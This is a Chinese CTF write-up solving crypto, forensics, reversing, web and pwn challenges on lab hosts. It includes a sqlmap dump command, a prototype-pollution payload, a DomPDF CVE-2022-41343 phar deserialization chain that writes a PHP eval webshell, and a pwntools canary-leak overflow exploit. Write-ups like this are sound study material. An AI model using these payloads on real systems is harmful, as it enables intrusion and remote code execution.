竹林寺
给了个码表, 在cyberchief里对比了一下, 长度和base32一样, 应该是换表的base32
basecrack直接解出flag
dir_pacp
流量包里搜索"flag", 发现存在ftp-data流量
直接导出对象, 发现有字典. 爆破压缩包即可得到flag
孔子庙
修改png的高度得到flag
十八盘
打开key文件, 发现结尾有IEND字样, 怀疑可能是PNG文件. 正好有一个hint.png, 因为png文件包括IHEAD,IDATA,IEND三个标志性的部分, key文件缺少IHEAD和IDATA, 所以尝试用hint.png的部分内容进行补充:
尝试修改高度, 但是依然显示不出来. 利用ImHex
打开hint.png进行分析, 在IDATA段中有部分内容表示"长度". 其值与hint.png的文件大小相近.
修改key.png的相应长度, 改为hex(5343).
得到了一个key.
手头能与misc + 图片 + key三个关键字匹配的东西只有"加密lsb隐写"和"steghide"了. 测试发现steghide只支持jpg, 用lsb解码可得到flag:
普照寺
输入'试了一下, 有waf. 输入"id=1"可以查询到文章
把链接复制给sqlmap
, 可以直接注入:
最终得到flag:
sqlmap -u http://192.168.200.254:25078/index.php?id=1 -D ctf -T flag --dump
日观峰
Ghidra逆向, 核心代码如下:
base64_map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
flag_len = strlen(flag_str);
local_1a4 = (int)flag_len;
if (local_1a4 % 3 == 0) {
local_1c8[1] = local_1a4 / 3 << 2;
}
else {
local_1c8[1] = (local_1a4 / 3) * 4 + 4;
}
local_114 = 0;
for (local_134 = 0; local_134 < local_1c8[1] + -2; local_134 = local_134 + 4) {
// 这里有一个异或操作, 而且是把base64的结果进行异或
abStack_182[(longlong)local_134 + 2] = base64_map[(int)(uint)(byte)flag_str[local_114] >> 2] ^ 4
;
abStack_182[(longlong)(local_134 + 1) + 2] =
base64_map
[(int)(((byte)flag_str[local_114] & 3) << 4 | (int)(uint)(byte)flag_str[local_114 + 1] >> 4
)] ^ 5;
abStack_182[(longlong)(local_134 + 2) + 2] =
base64_map
[(int)(((byte)flag_str[local_114 + 1] & 0xf) << 2 |
(int)(uint)(byte)flag_str[local_114 + 2] >> 6)] ^ 6;
abStack_182[(longlong)(local_134 + 3) + 2] =
base64_map[(int)((byte)flag_str[local_114 + 2] & 0x3f)] ^ 7;
local_114 = local_114 + 3;
}
puVar2 = (undefined *)((longlong)local_1a4 % 3 & 0xffffffff);
local_24 = (int)puVar2;
if (local_24 == 1) {
abStack_182[(longlong)(local_134 + -2) + 2] = 0x3d;
abStack_182[(longlong)(local_134 + -1) + 2] = 0x3d;
}
else if (local_24 == 2) {
abStack_182[(longlong)(local_134 + -1) + 2] = 0x3d;
}
for (local_134 = 0; local_134 < 42; local_134 = local_134 + 1) {
puVar2 = &DAT_1400dc000;
if (abStack_182[(longlong)local_134 + 2] != (&DAT_1400dc000)[local_134]) {
thunk_FUN_140045110(0x1400c50f0,&DAT_1400dc000,param_3,param_4);
thunk_FUN_14005b9f0(0);
}
}
根据字符串的特征, 猜测极有可能是base64编码. 但是分析可以看到是一个变异的base64, 每四组base64的结果会与[4,5,6,7]
数组进行异或. 目标bytes是&DAT_1400dc000
编写脚本先处理异或的结果:
$base = @( 0x5e, 0x68, 0x7e, 0x6f, 0x5e, 0x36, 0x72, 0x6f, 0x60, 0x68, 0x4c, 0x6a, 0x65, 0x36, 0x62, 0x74, 0x60, 0x52, 0x6e, 0x76, 0x5e, 0x42, 0x76, 0x7f, 0x60, 0x4d, 0x5c, 0x77, 0x67, 0x37, 0x7e, 0x72, 0x5e, 0x68, 0x33, 0x33, 0x65, 0x42, 0x50, 0x6c, 0x5e, 0x4d, 0x35, 0x4a, 0x00 )
$flag = @();
foreach($i in 1..$base.Count) {
$flag += $base[$i - 1] -bxor (($i - 1) % 4 + 4);
}
echo "$([char[]]$flag -join '')"
得到:
直接base64解密得到flag
碧霞祠
源码审计, 是nodejs:
const app = require('express')()
const session = require('express-session')
const bodyParser = require('body-parser')
const rand = require('string-random')
const SECRET = rand(32, '0123456789abcdef')
const fs = require("fs")
const LISTEN = '0.0.0.0'
const PORT = 8000
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())
//merge一定存在原型链污染, 不然这道题考什么?
function merge(user, source) {
for (let key in source) {
// 这里是将source给merge到user里面, 而且用的是in关键字, 会出现__proto__
if (key in source && key in user) {
merge(user[key], source[key])
} else {
user[key] = source[key]
}
} return user;
}
app.get('/', (req, res) => {
res.send('/source')
})
// 传任意用户名和密码即可登录
app.post('/login', (req, res) => {
let user = {}
let json = JSON.parse(req.body.json)
user = merge(user, json)
if (user['name'] != null && user['pass'] != null) {
res.send("登陆成功")
} res.send("登陆失败")
})
app.get('/index', (req, res) => {
let user = {}
try {
if (user.flag === "getIt_!")
res.send(fs.readFileSync('/flag').toString());
} catch (e) {
res.send("error!")
}
res.send("can't get flag")
})
app.get('/source', (req, res) => {
var data = fs.readFileSync('app.js');
res.send(data.toString());
})
app.listen(PORT, LISTEN, () => {
console.log(`listening ${LISTEN}:${PORT}...`)
})
只需要构造payload, 使Object对象存在flag
属性, 并使其值等于"getIt_!"
, 即可
json={"name": "admin", "pass": "1' or 1=1 #--", "__proto__": {"flag" : "getIt_!"}}
零岩寺
一个win32程序, 输入密码会把flag.txt处理成flag1.txt.
ghidra进行静态分析, 关键代码如下:
else if (uStack_2e4 == 0x100) {
GetWindowTextA(pHStack_300,(LPSTR)abStack_360,9);
eStack_3a4 = fopen_s(apFStack_2c0,"flag.txt","rb+");
sVar1 = fread(auStack_340,0x20,1,apFStack_2c0[0]);
aiStack_3c8[1] = (int)sVar1;
if (aiStack_3c8[1] != 0) {
thunk_FUN_140044380((longlong)auStack_340,0x20,(longlong)abStack_360,8);
}
thunk_FUN_14005b994(apFStack_2c0[0]);
if ((eStack_3a4 == 0) && (eStack_384 = fopen_s(apFStack_2a0,"flag1.txt","w"), eStack_384 == 0)
) {
// 写文件, apFStack_2a0是句柄, 返回写的长度
_Var2 = thunk_FUN_14005c56c(auStack_340,0x20,1,(longlong)apFStack_2a0[0]);
iStack_284 = (int)_Var2;
if (iStack_284 != 0) {
// 这里对一个变量进行了异或运算
for (uStack_264 = 0; uStack_264 < 8; uStack_264 = uStack_264 + 1) {
abStack_360[(int)uStack_264] = abStack_360[(int)uStack_264] ^ 0x18;
}
// 还是写文件的函数
_Var2 = thunk_FUN_14005c56c(abStack_360,7,1,(longlong)apFStack_2a0[0]);
iStack_244 = (int)_Var2;
if (iStack_244 == 0) {
MessageBoxW(param_1,L"加锁失败",L"警告",0);
}
else {
thunk_FUN_14005b994(apFStack_2a0[0]);
MessageBoxW(param_1,L"加锁成功",L"警告",0);
}
}
}
}
可以分析出, 该程序会在flag1.txt后面追加八个字节的变量, 该变量与0x18
逐字节做异或运算. 因此, 编写脚本在flag1.txt中提取该变量:
$content = [System.IO.File]::ReadAllBytes(".\flag1.txt");
$key = 1..8 | % {
$content[0-$_] -bxor 0x18;
}
[array]::Reverse($key);
[char[]]$key -join ""
可以得到一个字符串, 后七个字节与在密码框中输入的密码的前七个字符相同. 但是第一个字节不相同.
尝试还原flag.txt文件中的该变量:
可以猜到源文件加密时候的密码是ashjkgg%w, 其中%w表示一个ascii字符. 先把gashjkgg输入,
直接得到了flag(????)
关帝庙
网页使用了Symfony 5.4.13框架, 查找框架的路由
发现/pdf路由使用了库DomPdf. 访问即可自动下载pdf文件.
在本机搜索相关cve, 发现dompdf存在CVE-2022-41343漏洞, 且版本匹配:
根据该cve的描述, DomPDF框架在接收到带有指定字体的<style>
标签的HTML内容的时候, 会自动请求字体文件, 并将其缓存到/vendor/dompdf/dompdf/lib/fonts/目录下, 且字体缓存文件的文件名为${fontnme}_normal_md5(${css_url}).ttf. 因此, 可以使用base64编码的url上传一份字体文件.
同时, 该库还会校验该文件是否具有有效的ttf文件信息, 因此需要使用程序生成一份空字体文件:
#!/usr/bin/env python3
import fontforge
import os
import sys
import tempfile
from typing import Optional
def main():
sys.stdout.buffer.write(do_generate_font())
def do_generate_font() -> bytes:
fd, fn = tempfile.mkstemp(suffix=".ttf")
os.close(fd)
font = fontforge.font()
font.copyright = "DUMMY FONT"
font.generate(fn)
with open(fn, "rb") as f:
res = f.read()
os.unlink(fn)
result = res
return result
if __name__ == "__main__":
main()
根据cve2022-41343的利用说明, 可以利用phar协议读取一份phar文件, 触发反序列化漏洞, 从而实现cve. 因此, 还需准备一份phar文件.
查找反序列化链
这个其实是TQLCTF-SQL_TEST出题笔记 | gml's blog (igml.top)
寻找一些可用的魔术方法, 在vendor/symfony/cache/Traits/RedisProxy.php 定义的RedisProxy
类存在__call方法:
public function __call(string $method, array $args)
{
$this->ready ?: $this->ready = $this->initializer->__invoke($this->redis);
return $this->redis->{$method}(...$args);
}
可以调用任意类的 __invoke 方法,并且参数可控。寻找可利用的 __invoke,在vendor/doctrine/doctrine-bundle/Dbal/SchemaAssetsFilterManager.php定义的SchemaAssetsFilterManager
类:
/** @param string|AbstractAsset $assetName */
public function __invoke($assetName): bool
{
foreach ($this->schemaAssetFilters as $schemaAssetFilter) {
if ($schemaAssetFilter($assetName) === false) {
return false;
}
}
return true;
}
可以发现明显的动态函数调用,并且函数名和参数都可控。与之类似的vendor/symfony/console/Helper/Dumper.php 定义的Dumper
类,这个更直接一些:
public function __invoke($var): string
{
return ($this->handler)($var);
}
现在只需在 __destruct 中找到任意一个可控变量对任意函数的调用即可,类似$xxxx->xxxx()
,这应该不难寻找,在vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php中定义的CacheAdapter
类:
public function __destruct()
{
$this->commit();
}
跟进:
得到生成phar的反序列化链:
<?php
namespace Symfony\Component\Console\Helper {
class Dumper
{
private $handler;
public function __construct()
{
$this->handler = 'system';
}
}
}
namespace Symfony\Component\Cache\Traits {
class RedisProxy
{
private $redis;
private $initializer;
private $ready = false;
public function __construct()
{
$this->redis = 'echo \'<?php eval($_POST[\'xmd\']);?>\' > /var/www/html/sh31l.php';
$this->initializer = new \Symfony\Component\Console\Helper\Dumper();
// $this->initializer = new \Doctrine\Bundle\DoctrineBundle\Dbal\SchemaAssetsFilterManager();
}
}
}
namespace Doctrine\Common\Cache\Psr6 {
class CacheAdapter
{
private $deferredItems;
public function __construct()
{
$this->deferredItems = array(new \Symfony\Component\Cache\Traits\RedisProxy());
}
}
}
namespace {
$a = new Doctrine\Common\Cache\Psr6\CacheAdapter();
$phar = new Phar('test.phar');
$phar->stopBuffering();
// 需使用空字体文件做phar的头
$phar->setStub(file_get_contents("./font.ttf") . "<?php __HALT_COMPILER(); ?>");
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($a);
$phar->stopBuffering();
}
最终, 生成两个payload:
http://192.168.135.135:21080/public/index.php/pdf?content=<style>@font-face+{+font-family:'exploit';+src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTaJBGhAAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZCK8eBkAAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lsiInRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAcZ3cu18PPPUACwPoAAAAAOEpmk0AAAAA4SmaTQAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMQA1AC0AOQAtADIAMAAyADMAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAxNS05LTIwMjMAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADf7eV1AAAAAOEpmk0AAAAA4SmaTTw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KVQIAAAEAAAARAAAAAQAAAAAAHwIAAE86Mzk6IkRvY3RyaW5lXENvbW1vblxDYWNoZVxQc3I2XENhY2hlQWRhcHRlciI6MTp7czo1NDoiAERvY3RyaW5lXENvbW1vblxDYWNoZVxQc3I2XENhY2hlQWRhcHRlcgBkZWZlcnJlZEl0ZW1zIjthOjE6e2k6MDtPOjQxOiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxUcmFpdHNcUmVkaXNQcm94eSI6Mzp7czo0ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFRyYWl0c1xSZWRpc1Byb3h5AHJlZGlzIjtzOjYxOiJlY2hvICc8P3BocCBldmFsKCRfUE9TVFsneG1kJ10pOz8%252BJyA%252BIC92YXIvd3d3L2h0bWwvc2gzMWwucGhwIjtzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcVHJhaXRzXFJlZGlzUHJveHkAaW5pdGlhbGl6ZXIiO086Mzk6IlN5bWZvbnlcQ29tcG9uZW50XENvbnNvbGVcSGVscGVyXER1bXBlciI6MTp7czo0ODoiAFN5bWZvbnlcQ29tcG9uZW50XENvbnNvbGVcSGVscGVyXER1bXBlcgBoYW5kbGVyIjtzOjY6InN5c3RlbSI7fXM6NDg6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxUcmFpdHNcUmVkaXNQcm94eQByZWFkeSI7YjowO319fQgAAAB0ZXN0LnR4dAQAAAAAAAAABAAAAAx%252Bf9ikAQAAAAAAAHRlc3SppCIFu74DbiVWmrWpw7S9zxTYG%252FQAved9Zr8BJE5jZwMAAABHQk1C');+font-weight:'normal';+font-style:'normal';}</style>
http://192.168.135.135:21080/public/index.php/pdf?content=<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2F%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_bb4c529eca1a98549c8b00f2839d683a.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>
使用蚁剑连接, 即可得到flag
中天门
程序主代码如下:
__isoc99_scanf(&DAT_0010313f,local_132);
sVar2 = strlen(local_132);
// 这两个函数不知道什么意思, 动态调试看看运行结果
FUN_0010139c(local_198,local_132,(uint)sVar2);
FUN_001014d5((long)local_128,local_198);
// 登录判断的逻辑在这里
iVar1 = strcmp(&DAT_00103010,local_128);
if ((iVar1 != 0) ||
((iVar1 = strcmp(&DAT_00103010,local_128), iVar1 == 0 && (local_132[0] != 'A')))) {
puts(&DAT_00103142);
/* WARNING: Subroutine does not return */
exit(1);
}
puVar3 = &DAT_0010315d;
puts(&DAT_0010315d);
for (local_1a0 = 2; local_1a0 != 0; local_1a0 = local_1a0 + -1) {
FUN_0010235e();
iVar1 = FUN_0010238d();
if (iVar1 == 3) {
/* WARNING: Subroutine does not return */
reboot((int)puVar3);
}
if (iVar1 < 4) {
if (iVar1 == 1) {
FUN_001023e0();
}
else if (iVar1 == 2) {
FUN_001024c3();
}
}
}
需要登录, 动态调试一下, 发现FUN_0010139c
和FUN_001014d5
两个函数其实是在对输入的密码进行md5计算
图中输入的密码是"test", strcmp函数的第二个参数为"098f6bcd4621d373cade4e832627b4f6", 正好是md5(test)
DAT_00103010
的内容为: { 0x4d, 0x89, 0x00, 0x4a, 0xb4, 0x7e, 0x54, 0xc2, 0xf7, 0x3a, 0xd4, 0xc0, 0xeb, 0x39, 0x74, 0x70 }
又因为strcmp
函数遇到"\0"
即停止, 因此该md5校验其实只校验前三个字节: {0x4d, 0x89, 0x00}
. 根据!strcmp(s1, s2) && v8[0] != 'A'
, 密码的第一个字符还必须等于A
编写脚本爆破得到密码: A9477134
import hashlib
start = "4d8900"
while True:
for i in range(100000000):
s='A'+str(i)
if hashlib.md5(s.encode()).hexdigest().startswith(start):
print(s)
登录之后, 输入1查询电表, 可进入下述函数:
void FUN_001023e0(void) {
int iVar1;
time_t tVar2;
long in_FS_OFFSET;
undefined local_78 [16];
char local_68 [88];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
puts(&DAT_00103088);
memset(local_78,0,0x10);
memset(local_68,0,0x50);
read(0,local_78,0x10);
iVar1 = rand();
//存在格式化字符串漏洞, 可泄露canery和base addr
sprintf(local_68,&DAT_001030ae,local_78,(ulong)(iVar1 % 0xbb9 + 2000));
printf(local_68);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
得到exp如下:
#coding=utf-8
from pwn import *
# io=process('./elec_control')
io = remote("192.168.200.254", 20063)
io.recvuntil(':')
io.sendline('A9477134')
io.recvuntil('3.重启设备\n')
io.send(b'1')
io.recvuntil(':\n')
io.send('%21$p%23$p')
io.recv(6)
canary=int(io.recv(18),16)
pie_base=int(io.recv(14),16)-0x00000000000026F4
log.success("canary => {}".format(hex(canary)))
log.success("pie_base => {}".format(hex(pie_base)))
backdoor=pie_base+0x00000000000022EA
payload=b'a'*0x108+p64(canary)+p64(0xdeadbeef)+p64(backdoor)
io.recvuntil('3.重启设备\n')
io.send('2')
io.recvuntil(':\n')
io.send(payload)
io.interactive()
得到flag: